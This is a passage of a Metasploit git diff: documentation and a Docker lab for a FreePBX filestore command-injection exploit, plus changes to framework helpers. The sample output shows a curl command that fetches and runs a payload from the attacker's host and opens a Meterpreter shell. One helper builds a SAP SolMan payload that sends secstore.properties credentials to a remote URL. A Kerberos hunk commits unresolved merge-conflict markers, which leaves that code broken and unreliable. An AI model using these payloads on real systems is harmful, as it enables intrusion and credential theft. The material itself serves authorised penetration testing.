`check_ssh_connect()` function, potentially +resulting in multiple Meterpreter sessions being opened. + +The fix was implemented in version 17.0.3, which added comprehensive input validation and sanitization functions +(`validate_and_sanitize_key()`, `validate_and_sanitize_host()`, `validate_and_sanitize_user()`, `validate_and_sanitize_path()`) and used +`escapeshellarg()` for all parameters passed to `exec()`. + +The following FreePBX version has been tested: + +- FreePBX 17 with filestore module 17.0.2.44 + +## Testing + +To set up a test environment using Docker: + +1. Create a `docker-compose.yml` file with the following content: +```yaml +services: + mariadb: + image: mariadb:10.11 + container_name: freepbx-db + restart: unless-stopped + environment: + MYSQL_ROOT_PASSWORD: changeme-root + MYSQL_DATABASE: asterisk + MYSQL_USER: freepbx + MYSQL_PASSWORD: changeme-db + volumes: + - db-data:/var/lib/mysql + networks: + - freepbx-net + + freepbx: + build: + context: . + dockerfile: Dockerfile + container_name: freepbx-app + depends_on: + - mariadb + restart: unless-stopped + ports: + - "18080:80" + - "18443:443" + - "5060:5060/udp" + environment: + MYSQL_ROOT_PASSWORD: changeme-root + MYSQL_DATABASE: asterisk + MYSQL_USER: freepbx + MYSQL_PASSWORD: changeme-db + MYSQL_HOST: mariadb + FILESTORE_VERSION: 17.0.2.44 + ADMIN_USER: admin + ADMIN_PASS: admin + LOWPRIV_USER: lowpriv + LOWPRIV_PASS: lowpriv123 + volumes: + - freepbx-data:/var + - freepbx-log:/var/log + cap_add: + - NET_ADMIN + networks: + - freepbx-net + +volumes: + db-data: + freepbx-data: + freepbx-log: + +networks: + freepbx-net: + driver: bridge +``` + +2. Create a `Dockerfile`: +```dockerfile +FROM escomputers/freepbx:17 + +COPY entrypoint.sh /usr/local/bin/entrypoint.sh +RUN chmod +x /usr/local/bin/entrypoint.sh + +RUN mkdir -p /var/www/html/admin/assets/less/cache && chown -R asterisk:asterisk /var/www/html/admin/assets/less/cache && chmod -R 777 /var/www/html/admin/assets/less/cache || true + +ENTRYPOINT ["/usr/local/bin/entrypoint.sh"] +``` + +3. Create an `entrypoint.sh` script: +```bash +#!/bin/bash +DB_HOST=${MYSQL_HOST:-mariadb} +DB_USER=${MYSQL_USER:-freepbx} +DB_PASS=${MYSQL_PASSWORD:-changeme-db} +DB_NAME=${MYSQL_DATABASE:-asterisk} +FILESTORE_VERSION=${FILESTORE_VERSION:-17.0.2.44} +ADMIN_USER=${ADMIN_USER:-admin} +ADMIN_PASS=${ADMIN_PASS:-admin} +LOWPRIV_USER=${LOWPRIV_USER:-lowpriv} +LOWPRIV_PASS=${LOWPRIV_PASS:-lowpriv123} +( + for i in {1..60}; do + mysqladmin ping -h $DB_HOST -u $DB_USER -p$DB_PASS --silent 2>/dev/null && break + sleep 2 + done + for i in {1..120}; do + asterisk -rx "core show version" >/dev/null 2>&1 && break + sleep 2 + done + [ ! -f /etc/freepbx.conf ] && cd /usr/local/src/freepbx && php install -n --dbuser=$DB_USER --dbpass=$DB_PASS --dbhost=$DB_HOST >/dev/null 2>&1 + for i in {1..60}; do + command -v fwconsole >/dev/null 2>&1 && fwconsole ma list >/dev/null 2>&1 && break + sleep 5 + done + if ! fwconsole ma list 2>/dev/null | grep -q "filestore.*$FILESTORE_VERSION"; then + fwconsole ma download filestore --tag=$FILESTORE_VERSION --force >/dev/null 2>&1 + fwconsole ma install filestore --force >/dev/null 2>&1 + fwconsole ma enable filestore >/dev/null 2>&1 + fi + fwconsole ma list 2>/dev/null | grep -q "userman" || (fwconsole ma downloadinstall userman >/dev/null 2>&1; fwconsole ma enable userman >/dev/null 2>&1) + sleep 10 + mysql -h $DB_HOST -u $DB_USER -p$DB_PASS $DB_NAME -e "INSERT IGNORE INTO ampusers (username, password_sha1, sections) VALUES ('$ADMIN_USER', SHA1('$ADMIN_PASS'), '*');" >/dev/null 2>&1 + mysql -h $DB_HOST -u $DB_USER -p$DB_PASS $DB_NAME -e "INSERT IGNORE INTO ampusers (username, password_sha1, sections) VALUES ('$LOWPRIV_USER', SHA1('$LOWPRIV_PASS'), 'filestore');" >/dev/null 2>&1 +) & +exec /usr/bin/env bash /usr/local/src/entrypoint.sh "$@" +``` + +Make sure to make the script executable: `chmod +x entrypoint.sh` + +4. Run `docker compose up -d` to start the environment. Wait ~2 minutes for FreePBX to fully initialize (install modules, create users). + +5. The entrypoint automatically provisions two users: `admin`/`admin` (full access) and `lowpriv`/`lowpriv123` (filestore only). + +6. Follow the verification steps below. + +## Options + +### USERNAME + +The FreePBX username. This can be a low-privilege user, but the user must be in the "Filestore" group to have access to the filestore +module. Default: `admin` + +### PASSWORD + +The FreePBX password. This must be set to a valid password. + +## Verification Steps + +1. Start msfconsole +2. `use exploit/unix/http/freepbx_filestore_cmd_injection` +3. `set RHOSTS ` +4. `set RPORT ` (default: 80) +5. `set USERNAME ` +6. `set PASSWORD ` +7. `set LHOST ` +8. `run` + +## Scenarios + +### Using a Low-Privilege User + +The module works with low-privilege users that are in the "Filestore" group and have access to the filestore module: + +``` +msf exploit(unix/http/freepbx_filestore_cmd_injection) > run +[*] Command to run on remote host: curl -so ./MscaNzRKZxn http://172.24.0.1:8080/a_wPTF3QFDQmW1loFQm32w;chmod +x ./MscaNzRKZxn;./MscaNzRKZxn& +[*] Fetch handler listening on 172.24.0.1:8080 +[*] HTTP server started +[*] Adding resource /a_wPTF3QFDQmW1loFQm32w +[*] Started reverse TCP handler on 172.24.0.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Vulnerable filestore version 17.0.2.44 detected +[*] Filestore module version: 17.0.2.44 +[*] Client 172.24.0.3 requested /a_wPTF3QFDQmW1loFQm32w +[*] Sending payload to 172.24.0.3 (curl/7.88.1) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3090404 bytes) to 172.24.0.3 +[*] Meterpreter session 20 opened (172.24.0.1:4444 -> 172.24.0.3:59384) at 2025-11-23 00:26:55 +0100 + +meterpreter > sysinfo +Computer : 172.24.0.3 +OS : Debian 12.12 (Linux 6.14.0-115036-tuxedo) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > getuid +Server username: asterisk +meterpreter > +``` + diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index e329b6db34e14..886d11513d0eb 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -32,7 +32,7 @@ def self.get_hash end end - VERSION = "6.4.120" + VERSION = "6.4.124" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash diff --git a/lib/msf/core/exploit/cmd_stager.rb b/lib/msf/core/exploit/cmd_stager.rb index 52e032f22d96e..58c251536580d 100644 --- a/lib/msf/core/exploit/cmd_stager.rb +++ b/lib/msf/core/exploit/cmd_stager.rb @@ -59,13 +59,14 @@ def initialize(info = {}) server_conditions = ['CMDSTAGER::FLAVOR', 'in', %w{auto tftp wget curl fetch lwprequest psh_invokewebrequest ftp_http}] register_options( [ - OptPort.new('SRVPORT', [true, 'The local port to listen on', 8080], conditions: server_conditions) + OptAddressLocal.new('SRVHOST', [true, 'The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.', '0.0.0.0' ], conditions: server_conditions), + OptPort.new('SRVPORT', [true, "The local port to listen on.", 8080], conditions: server_conditions) ]) register_advanced_options( [ - OptEnum.new('CMDSTAGER::FLAVOR', [false, 'The CMD Stager to use', 'auto', flavors]), - OptString.new('CMDSTAGER::DECODER', [false, 'The decoder stub to use']), + OptEnum.new('CMDSTAGER::FLAVOR', [false, 'The CMD Stager to use.', 'auto', flavors]), + OptString.new('CMDSTAGER::DECODER', [false, 'The decoder stub to use.']), OptString.new('CMDSTAGER::TEMP', [false, 'Writable directory for staged files']), OptString.new('CMDSTAGER::URIPATH', [false, 'Payload URI path for supported stagers']), OptBool.new('CMDSTAGER::SSL', [false, 'Use SSL/TLS for supported stagers', false]) diff --git a/lib/msf/core/exploit/cmd_stager/http.rb b/lib/msf/core/exploit/cmd_stager/http.rb index adff0c284ea22..f0608af7c669c 100644 --- a/lib/msf/core/exploit/cmd_stager/http.rb +++ b/lib/msf/core/exploit/cmd_stager/http.rb @@ -9,12 +9,6 @@ def initialize(info = {}) super(update_info(info, 'Stance' => Msf::Exploit::Stance::Aggressive )) - - register_options( - [ - ::Msf::OptAddressRoutable.new('SRVHOST', [false, 'The local host to listen on and use for incoming connections']), - ] - ) end def cmdstager_start_service(opts = {}) diff --git a/lib/msf/core/exploit/dhcp_server.rb b/lib/msf/core/exploit/dhcp_server.rb index f31fd314aaed7..e1aa584e8c98b 100644 --- a/lib/msf/core/exploit/dhcp_server.rb +++ b/lib/msf/core/exploit/dhcp_server.rb @@ -9,6 +9,7 @@ module Msf # ### module Exploit::DHCPServer + include ::Msf::Exploit::Remote::SocketServer def initialize(info = {}) super(update_info(info, @@ -17,13 +18,14 @@ def initialize(info = {}) register_options( [ - OptString.new('SRVHOST', [ true, "The IP of the DHCP server" ]), - OptString.new('NETMASK', [ true, "The netmask of the local subnet" ]), - OptString.new('DHCPIPSTART', [ false, "The first IP to give out" ]), - OptString.new('DHCPIPEND', [ false, "The last IP to give out" ]), - OptString.new('ROUTER', [ false, "The router IP address" ]), - OptString.new('BROADCAST', [ false, "The broadcast address to send to" ]), - OptString.new('DNSSERVER', [ false, "The DNS server IP address" ]), + OptString.new('DHCPINTERFACE',[ false, "The network interface to use for broadcast" ]), + OptAddress.new('SRVHOST', [ true, "The IP of the DHCP server" ]), + OptAddress.new('NETMASK', [ true, "The netmask of the local subnet" ]), + OptAddress.new('DHCPIPSTART', [ false, "The first IP to give out" ]), + OptAddress.new('DHCPIPEND', [ false, "The last IP to give out" ]), + OptAddress.new('ROUTER', [ false, "The router IP address" ]), + OptAddress.new('BROADCAST', [ false, "The broadcast address to send to" ]), + OptAddress.new('DNSSERVER', [ false, "The DNS server IP address" ]), OptString.new('DOMAINNAME', [ false, "The optional domain name to assign" ]), OptString.new('HOSTNAME', [ false, "The optional hostname to assign" ]), OptString.new('HOSTSTART', [ false, "The optional host integer counter" ]), @@ -46,6 +48,12 @@ def stop_service @dhcp.stop end + def validate + unless _determine_server_comm(datastore['SRVHOST']) == Rex::Socket::Comm::Local + raise Msf::OptionValidateError.new({ 'SRVHOST' => 'SRVHOST can not be forwarded via a session.' }) + end + end + attr_accessor :dhcp end diff --git a/lib/msf/core/exploit/format/webarchive.rb b/lib/msf/core/exploit/format/webarchive.rb index 2bd582c198d23..52dbb387fcfc9 100644 --- a/lib/msf/core/exploit/format/webarchive.rb +++ b/lib/msf/core/exploit/format/webarchive.rb @@ -328,8 +328,10 @@ def collect_data_uri # @return [String] formatted http/https URL of the listener def backend_url - resource = get_resource.end_with?('/') ? get_resource[0, get_resource.length - 1] : get_resource - get_uri("#{resource}/catch") + proto = (datastore["SSL"] ? "https" : "http") + myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + port_str = (datastore['HTTPPORT'].to_i == 80) ? '' : ":#{datastore['HTTPPORT']}" + "#{proto}://#{myhost}#{port_str}" end # @return [String] URL that serves the malicious webarchive diff --git a/lib/msf/core/exploit/remote/browser_autopwn2.rb b/lib/msf/core/exploit/remote/browser_autopwn2.rb index 8b53769918e8d..2225270668d41 100644 --- a/lib/msf/core/exploit/remote/browser_autopwn2.rb +++ b/lib/msf/core/exploit/remote/browser_autopwn2.rb @@ -128,7 +128,7 @@ def set_exploit_options(xploit) p = select_payload(xploit) xploit.datastore['PAYLOAD'] = p.first[:payload_name] xploit.datastore['LPORT'] = p.first[:payload_lport] - xploit.datastore['SRVHOST'] = srvhost + xploit.datastore['SRVHOST'] = datastore['SRVHOST'] xploit.datastore['SRVPORT'] = datastore['SRVPORT'] xploit.datastore['LHOST'] = get_payload_lhost @@ -553,11 +553,12 @@ def start_service show_ready_exploits proto = (datastore['SSL'] ? "https" : "http") - service_srvhost = nil if datastore['URIHOST'] && datastore['URIHOST'] != '0.0.0.0' - service_srvhost = datastore['URIHOST'] + srvhost = datastore['URIHOST'] + elsif datastore['SRVHOST'] && datastore['SRVHOST'] != '0.0.0.0' + srvhost = datastore['SRVHOST'] else - service_srvhost = srvhost_addr + srvhost = Rex::Socket.source_address end if datastore['URIPORT'] && datastore['URIPORT'] != 0 @@ -566,7 +567,7 @@ def start_service srvport = datastore['SRVPORT'] end - service_uri = "#{proto}://#{Rex::Socket.to_authority(service_srvhost, srvport)}#{get_resource}" + service_uri = "#{proto}://#{srvhost}:#{srvport}#{get_resource}" print_good("Please use the following URL for the browser attack:") print_good("BrowserAutoPwn URL: #{service_uri}") end @@ -662,8 +663,10 @@ def get_exploit_urls(cli, request) host = '' if datastore['URIHOST'] && datastore['URIHOST'] != '0.0.0.0' host = datastore['URIHOST'] + elsif datastore['SRVHOST'] && datastore['SRVHOST'] != '0.0.0.0' + host = datastore['SRVHOST'] else - host = srvhost + host = Rex::Socket.source_address end if datastore['URIPORT'] && datastore['URIPORT'] != 0 port = datastore['URIPORT'] @@ -672,7 +675,7 @@ def get_exploit_urls(cli, request) end resource = mod.datastore['URIPATH'] - url = "#{proto}://#{Rex::Socket.to_authority(host, port)}#{resource}" + url = "#{proto}://#{host}:#{port}#{resource}" urls << url end diff --git a/lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb b/lib/msf/core/exploit/remote/http/complete_pbx.rb similarity index 98% rename from lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb rename to lib/msf/core/exploit/remote/http/complete_pbx.rb index adac9295f3c8d..9ab8f3c271db1 100644 --- a/lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb +++ b/lib/msf/core/exploit/remote/http/complete_pbx.rb @@ -7,7 +7,7 @@ module HTTP # # Shared routines for Xorcom CompletePBX modules # - module XorcomCompletePbx + module CompletePBX # Probe root page and return appropriate CheckCode # @return [Msf::Exploit::CheckCode] def completepbx? diff --git a/lib/msf/core/exploit/remote/http/freepbx.rb b/lib/msf/core/exploit/remote/http/freepbx.rb new file mode 100644 index 0000000000000..8602b1f3e8480 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/freepbx.rb @@ -0,0 +1,115 @@ +# -*- coding: binary -*- + +module Msf + class Exploit + class Remote + module HTTP + # + # Shared routines for FreePBX modules + # + module FreePBX + # Get the admin config URI + # + # @return [String] Admin config URI path + # + def freepbx_admin_uri + normalize_uri(target_uri.path, 'admin', 'config.php') + end + + # Get the Referer header for FreePBX requests + # + # @return [String] Referer URL + # + def freepbx_referer + host = datastore['RHOSTS'] || rhost + host = '127.0.0.1' if host == '::1' || host == 'localhost' + protocol = datastore['SSL'] ? 'https' : 'http' + default_port = datastore['SSL'] ? 443 : 80 + port_str = (rport == default_port) ? '' : ":#{rport}" + "#{protocol}://#{host}#{port_str}#{freepbx_admin_uri}" + end + + # Authenticate with supplied credentials and return the session cookie + # + # @param username [String] FreePBX username + # @param password [String] FreePBX password + # @param timeout [Integer] The maximum number of seconds to wait before the request times out + # @return [String,nil] the session cookies as a single string on successful login, nil otherwise + # + def freepbx_login(username, password, timeout = 20) + cache_key = "#{username}:#{password}" + if @freepbx_auth_cache && @freepbx_auth_cache[cache_key] + return @freepbx_auth_cache[cache_key] + end + + data = freepbx_get_login_page_data(timeout) + res = data[:response] + return nil unless res + + cookie = res.get_cookies + return nil if cookie.empty? + + login_response = send_request_cgi({ + 'uri' => freepbx_admin_uri, + 'method' => 'POST', + 'cookie' => cookie, + 'headers' => { + 'Referer' => freepbx_referer + }, + 'vars_post' => { + 'username' => username, + 'password' => password + } + }, timeout) + + return nil unless login_response + + body_lower = login_response.body.downcase + if body_lower.include?('invalid username or password') && body_lower.include?('obe_error') + @freepbx_auth_cache ||= {} + @freepbx_auth_cache[cache_key] = :auth_failed + return :auth_failed + end + + return nil unless login_response.code == 302 || (login_response.code == 200 && !login_response.body.include?('Login')) + + new_cookie = login_response.get_cookies + result = new_cookie.empty? ? cookie : new_cookie + @freepbx_auth_cache ||= {} + @freepbx_auth_cache[cache_key] = result + result + end + + # Get or create the login page data + # + # @param timeout [Integer] Request timeout + # @return [Hash] Hash with :response and :detected keys + # + def freepbx_get_login_page_data(timeout = 20) + return @freepbx_login_page if @freepbx_login_page + + res = send_request_cgi({ + 'uri' => freepbx_admin_uri, + 'method' => 'GET', + 'headers' => { 'Referer' => freepbx_referer } + }, timeout) + + body_lower = res&.body&.downcase || '' + detected = (res&.code == 200) && ( + body_lower.match?(%r{freepbx\s+administration}) || + (body_lower.include?('freepbx administration') && body_lower.include?('loginform')) || + body_lower.include?('assets/js/freepbx.js') || + body_lower.include?('freepbx-navbar') || + (body_lower.match?(/id=["']loginform["']/) && body_lower.include?('freepbx')) + ) + + @freepbx_login_page = { + response: res, + detected: detected + } + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/remote/http/http_cookie.rb b/lib/msf/core/exploit/remote/http/http_cookie.rb index d20ea7c514359..98331dcaa18be 100644 --- a/lib/msf/core/exploit/remote/http/http_cookie.rb +++ b/lib/msf/core/exploit/remote/http/http_cookie.rb @@ -24,7 +24,7 @@ class HttpCookie # +accessed_at+, +created_at+. def initialize(name, value = nil, **attr_hash) if value - @cookie = ::HTTP::Cookie.new(name, value) + @cookie = ::HTTP::Cookie.new(name, value.to_s) else @cookie = ::HTTP::Cookie.new(name) end diff --git a/lib/msf/core/exploit/remote/http/sap_sol_man_eem_miss_auth.rb b/lib/msf/core/exploit/remote/http/sap_sol_man_eem_miss_auth.rb index 7c71a4d9c8c0f..0ee2ad41c8cb7 100644 --- a/lib/msf/core/exploit/remote/http/sap_sol_man_eem_miss_auth.rb +++ b/lib/msf/core/exploit/remote/http/sap_sol_man_eem_miss_auth.rb @@ -49,8 +49,8 @@ def make_rce_payload(os_command) end # Make payload for steal credentials for SolMan server from agent - def make_steal_credentials_payload(instance, url) - command = "var u = new Packages.java.net.URL(\"#{url}\");" + def make_steal_credentials_payload(instance, host, port, url) + command = "var u = new Packages.java.net.URL(\"http://#{host}:#{port}#{url}\");" command << 'var o = Packages.java.lang.System.getProperty("os.name").toLowerCase();' command << 'if (o.indexOf("win") >= 0) ' command << "{var p = Packages.java.nio.file.Paths.get(\"C:\\\\usr\\\\sap\\\\DAA\\\\#{instance}\\\\SMDAgent\\\\configuration\\\\secstore.properties\");} " diff --git a/lib/msf/core/exploit/remote/http/spip.rb b/lib/msf/core/exploit/remote/http/spip.rb index 2b147fb8097b5..141f59f3c0f94 100644 --- a/lib/msf/core/exploit/remote/http/spip.rb +++ b/lib/msf/core/exploit/remote/http/spip.rb @@ -60,6 +60,28 @@ def spip_plugin_version(plugin_name) config_res = send_request_cgi('method' => 'GET', 'uri' => config_url) return parse_plugin_version(config_res.body, plugin_name) if config_res&.code == 200 + # Case 3: Try fetching paquet.xml directly from common plugin paths + parse_paquet_xml_version(plugin_name) + end + + # Attempt to read the plugin version from its paquet.xml file. + # Plugins can be installed under plugins/ or plugins/auto/. + # + # @param [String] plugin_name Name of the plugin directory + # @return [Rex::Version, nil] Version from the paquet.xml prefix attribute, or nil + def parse_paquet_xml_version(plugin_name) + %W[ + plugins/#{plugin_name}/paquet.xml + plugins/auto/#{plugin_name}/paquet.xml + ].each do |path| + res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, path)) + next unless res&.code == 200 + + if res.body =~ /prefix="#{plugin_name}"/ && res.body =~ /version="(\d+(?:\.\d+)+)"/ + return Rex::Version.new(::Regexp.last_match(1)) + end + end + nil end diff --git a/lib/msf/core/exploit/remote/http/wordpress.rb b/lib/msf/core/exploit/remote/http/wordpress.rb index 401416faad713..0260a72ec466a 100644 --- a/lib/msf/core/exploit/remote/http/wordpress.rb +++ b/lib/msf/core/exploit/remote/http/wordpress.rb @@ -38,6 +38,28 @@ def initialize(info = {}) def wp_content_dir datastore['WPCONTENTDIR'] end + + def report_wordpress_service + report_service( + host: rhost, + port: rport, + proto: 'tcp', + name: 'WordPress', + parents: { + name: ssl ? 'https' : 'http', + host: rhost, + port: rport, + proto: 'tcp', + parents: { + name: 'tcp', + host: rhost, + port: rport, + proto: 'tcp', + parents: nil + } + } + ) + end end end end diff --git a/lib/msf/core/exploit/remote/http/wordpress/base.rb b/lib/msf/core/exploit/remote/http/wordpress/base.rb index 44230ee82f4cc..72c88b0e0b335 100644 --- a/lib/msf/core/exploit/remote/http/wordpress/base.rb +++ b/lib/msf/core/exploit/remote/http/wordpress/base.rb @@ -29,7 +29,11 @@ def wordpress_and_online? ) end - return res if res && res.code == 200 && res.body && wordpress_detect_regexes.any? { |r| res.body =~ r } + if res && res.code == 200 && res.body && wordpress_detect_regexes.any? { |r| res.body =~ r } + report_wordpress_service + return res + end + return nil rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e print_error("Error connecting to #{target_uri}: #{e}") diff --git a/lib/msf/core/exploit/remote/http/wordpress/version.rb b/lib/msf/core/exploit/remote/http/wordpress/version.rb index 8b979568e39e4..e80768cbfc6e3 100644 --- a/lib/msf/core/exploit/remote/http/wordpress/version.rb +++ b/lib/msf/core/exploit/remote/http/wordpress/version.rb @@ -152,6 +152,8 @@ def check_version_from_readme(type, name, fixed_version = nil, vuln_introduced_v return check_theme_version_from_style(name, fixed_version, vuln_introduced_version) if type == :theme end + report_wordpress_service + version_res = extract_and_check_version(res.body.to_s, :readme, type, fixed_version, vuln_introduced_version) if version_res == Msf::Exploit::CheckCode::Detected && type == :theme # If no version could be found in readme.txt for a theme, try style.css diff --git a/lib/msf/core/exploit/remote/http_server.rb b/lib/msf/core/exploit/remote/http_server.rb index b32f48c44b299..318dee3e5979d 100644 --- a/lib/msf/core/exploit/remote/http_server.rb +++ b/lib/msf/core/exploit/remote/http_server.rb @@ -485,9 +485,31 @@ def get_uri(cli=self.cli) # # @return [String] def srvhost_addr - return datastore['URIHOST'] if datastore['URIHOST'].present? + if datastore['URIHOST'] + host = datastore['URIHOST'] + elsif (datastore['LHOST'] and (!datastore['LHOST'].strip.empty?)) + host = datastore["LHOST"] + else + if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") + if (respond_to?(:sock) and sock and sock.peerhost) + # Then this is a Passive-Aggressive module. It has a socket + # connected to the remote server from which we can deduce the + # appropriate source address. + host = Rex::Socket.source_address(sock.peerhost) + else + # Otherwise, this module is only a server, not a client, *and* + # the payload does not have an LHOST option. This can happen, + # for example, with a browser exploit using a download-exec + # payload. In that case, just use the address of the interface + # with the default gateway and hope for the best. + host = Rex::Socket.source_address + end + else + host = datastore['SRVHOST'] + end + end - super + host end # diff --git a/lib/msf/core/exploit/remote/jndi_injection.rb b/lib/msf/core/exploit/remote/jndi_injection.rb index 2bef21885c73d..1d90bbbd9623b 100644 --- a/lib/msf/core/exploit/remote/jndi_injection.rb +++ b/lib/msf/core/exploit/remote/jndi_injection.rb @@ -19,12 +19,6 @@ def initialize(info = {}) super(update_info(info, 'Stance' => Msf::Exploit::Stance::Aggressive)) - register_options( - [ - OptAddressRoutable.new('SRVHOST', [false, 'The local host to listen on and use for incoming connections']), - ] - ) - register_advanced_options([ OptBool.new('LDAP_AUTH_BYPASS', [true, 'Ignore LDAP client authentication', true]) ]) @@ -35,7 +29,7 @@ def initialize(info = {}) # @return [String] the JNDI string def jndi_string(resource = nil) resource ||= "dc=#{Rex::Text.rand_text_alpha_lower(6)},dc=#{Rex::Text.rand_text_alpha_lower(3)}" - "ldap://#{Rex::Socket.to_authority(srvhost_addr, datastore['SRVPORT'])}/#{resource}" + "ldap://#{Rex::Socket.to_authority(datastore['SRVHOST'], datastore['SRVPORT'])}/#{resource}" end ## LDAP service callbacks @@ -140,6 +134,9 @@ def build_ldap_search_response_payload_remote(pay_url, pay_class = 'metasploit.P end def validate_configuration! + if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 + fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') + end end end end diff --git a/lib/msf/core/exploit/remote/kerberos/client.rb b/lib/msf/core/exploit/remote/kerberos/client.rb index 7189e6e5e159b..617c138ba3de8 100644 --- a/lib/msf/core/exploit/remote/kerberos/client.rb +++ b/lib/msf/core/exploit/remote/kerberos/client.rb @@ -1,6 +1,11 @@ # -*- coding: binary -*- +<<<<<<< HEAD +require 'msf/core/opt_timedelta' +======= require 'msf/core/exploit/remote/kerberos/clock_skew' +require 'rex/proto/kerberos/kerberos_logger_subscriber' +>>>>>>> Add KerberosTicketTrace support for AS/TGS/AP exchanges module Msf class Exploit @@ -45,8 +50,9 @@ def initialize(info = {}) register_advanced_options( [ - OptString.new('KrbClockSkew', [true, 'Adjust Kerberos client clock by this offset (e.g. 90s, -5m, 1h)', '0s'], - regex: Msf::Exploit::Remote::Kerberos::ClockSkew::CLOCK_SKEW_REGEX) + OptTimedelta.new('KrbClockSkew', [true, 'Adjust Kerberos client clock by this offset (e.g. 90s, -5m, 1h)', '0s']), + OptBool.new('KerberosTicketTrace', [false, 'Show AS/TGS/AP Kerberos requests and responses', false]), + OptString.new('KerberosTicketTraceColors', [false, 'Kerberos request and response colors for KerberosTicketTrace (unset to disable)', 'red/blu']) ], self.class ) end @@ -90,7 +96,7 @@ def kerberos_clock_skew # # @param value [String, Numeric, nil] def kerberos_clock_skew=(value) - @kerberos_clock_skew = Msf::Exploit::Remote::Kerberos::ClockSkew.parse(value) + @kerberos_clock_skew = Msf::OptTimedelta.parse(value) end # Returns the current time adjusted for Kerberos clock skew in UTC. @@ -134,6 +140,7 @@ def connect(opts = {}) remote_host = has_session ? session.client.peerhost : rhost # Can't use session.client.rport as a fallback here with an LDAP session as that's port 389. We need port 88. remote_port = has_session ? 88 : rport + subscriber = opts.key?(:subscriber) ? opts[:subscriber] : kerberos_trace_subscriber kerb_client = Rex::Proto::Kerberos::Client.new( host: opts[:rhost] || remote_host, @@ -144,7 +151,8 @@ def connect(opts = {}) 'Msf' => framework, 'MsfExploit' => framework_module }, - protocol: 'tcp' + protocol: 'tcp', + subscriber: subscriber ) disconnect if kerberos_client @@ -489,6 +497,16 @@ def framework_module self end + def kerberos_trace_subscriber + logger = framework_module + + if logger.respond_to?(:print_line) && logger.respond_to?(:datastore) + Rex::Proto::Kerberos::KerberosLoggerSubscriber.new(logger: logger) + else + Rex::Proto::Kerberos::KerberosSubscriber.new + end + end + private # diff --git a/lib/msf/core/exploit/remote/kerberos/clock_skew.rb b/lib/msf/core/exploit/remote/kerberos/clock_skew.rb deleted file mode 100644 index 0b95298c99fc4..0000000000000 --- a/lib/msf/core/exploit/remote/kerberos/clock_skew.rb +++ /dev/null @@ -1,46 +0,0 @@ -# -*- coding: binary -*- - -module Msf - class Exploit - class Remote - module Kerberos - # Helper methods for handling Kerberos clock skew adjustments. - module ClockSkew - CLOCK_SKEW_REGEX = /\A([+-]?\d+(?:\.\d+)?(?:[smhd])?)+\z/i.freeze - - UNIT_IN_SECONDS = { - 's' => 1, - 'm' => 60, - 'h' => 3_600, - 'd' => 86_400 - }.freeze - - module_function - - # Convert a user supplied clock skew value into seconds. - # - # @param value [String, Numeric, nil] The skew value to parse, e.g. '-5m', '120', 30 - # @return [Float] The skew in seconds - # @raise [Msf::OptionValidateError] If the value cannot be parsed - def parse(value) - return 0 if value.nil? - return value.to_f if value.is_a?(Numeric) - - trimmed_value = value.to_s.strip - return 0 if trimmed_value.empty? - return trimmed_value.to_f if trimmed_value.match?(/\A[+-]?\d+(?:\.\d+)?\z/) - raise Msf::OptionValidateError, 'Invalid KrbClockSkew format' unless trimmed_value.match?(CLOCK_SKEW_REGEX) - - total = 0 - trimmed_value.scan(/([+-]?\d+(?:\.\d+)?)([smhd]?)/i) do |amount, unit| - unit = 's' if unit.blank? - multiplier = UNIT_IN_SECONDS[unit.downcase] - total += amount.to_f * multiplier - end - total - end - end - end - end - end -end diff --git a/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb b/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb index 45e2c1e036773..942a0a8398126 100644 --- a/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb +++ b/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb @@ -285,7 +285,9 @@ def authenticate(options = {}) auth_context = authenticate_via_krb5_ccache_credential_tgt(auth_context[:credential], options) end - ap_request_asn1 = auth_context.delete(:service_ap_request).to_asn1 + service_ap_request = auth_context.delete(:service_ap_request) + kerberos_trace_subscriber.on_request(service_ap_request) + ap_request_asn1 = service_ap_request.to_asn1 mechanism = options.fetch(:mechanism) { self.mechanism } if mechanism == Rex::Proto::Gss::Mechanism::SPNEGO @@ -332,6 +334,7 @@ def parse_gss_init_response(token, session_key) } when TOK_ID_KRB_ERROR krb_err = Rex::Proto::Kerberos::Model::KrbError.decode(data) + kerberos_trace_subscriber.on_response(krb_err) print_error("#{peer} - Received KRB-ERR.") raise ::Rex::Proto::Kerberos::Model::Error::KerberosError.new(res: krb_err) @@ -661,6 +664,7 @@ def authenticate_via_kdc(options = {}) options.fetch(:ticket_storage, @ticket_storage).store_ccache(ccache, host: rhost) credential = ccache.credentials.first + kerberos_trace_subscriber.on_credential(credential, source: 'TGT') session_key = Rex::Proto::Kerberos::Model::EncryptionKey.new( type: credential.keyblock.enctype.value, value: credential.keyblock.data.value @@ -779,6 +783,8 @@ def request_service_ticket(session_key, tgt_ticket, realm, client_name, etypes, client: client, server: sname ) + credential = ccache.credentials.first + kerberos_trace_subscriber.on_credential(credential, source: 'TGS') tgs_ticket = tgs_res.ticket tgs_auth = decrypt_kdc_tgs_rep_enc_part( @@ -787,7 +793,7 @@ def request_service_ticket(session_key, tgt_ticket, realm, client_name, etypes, 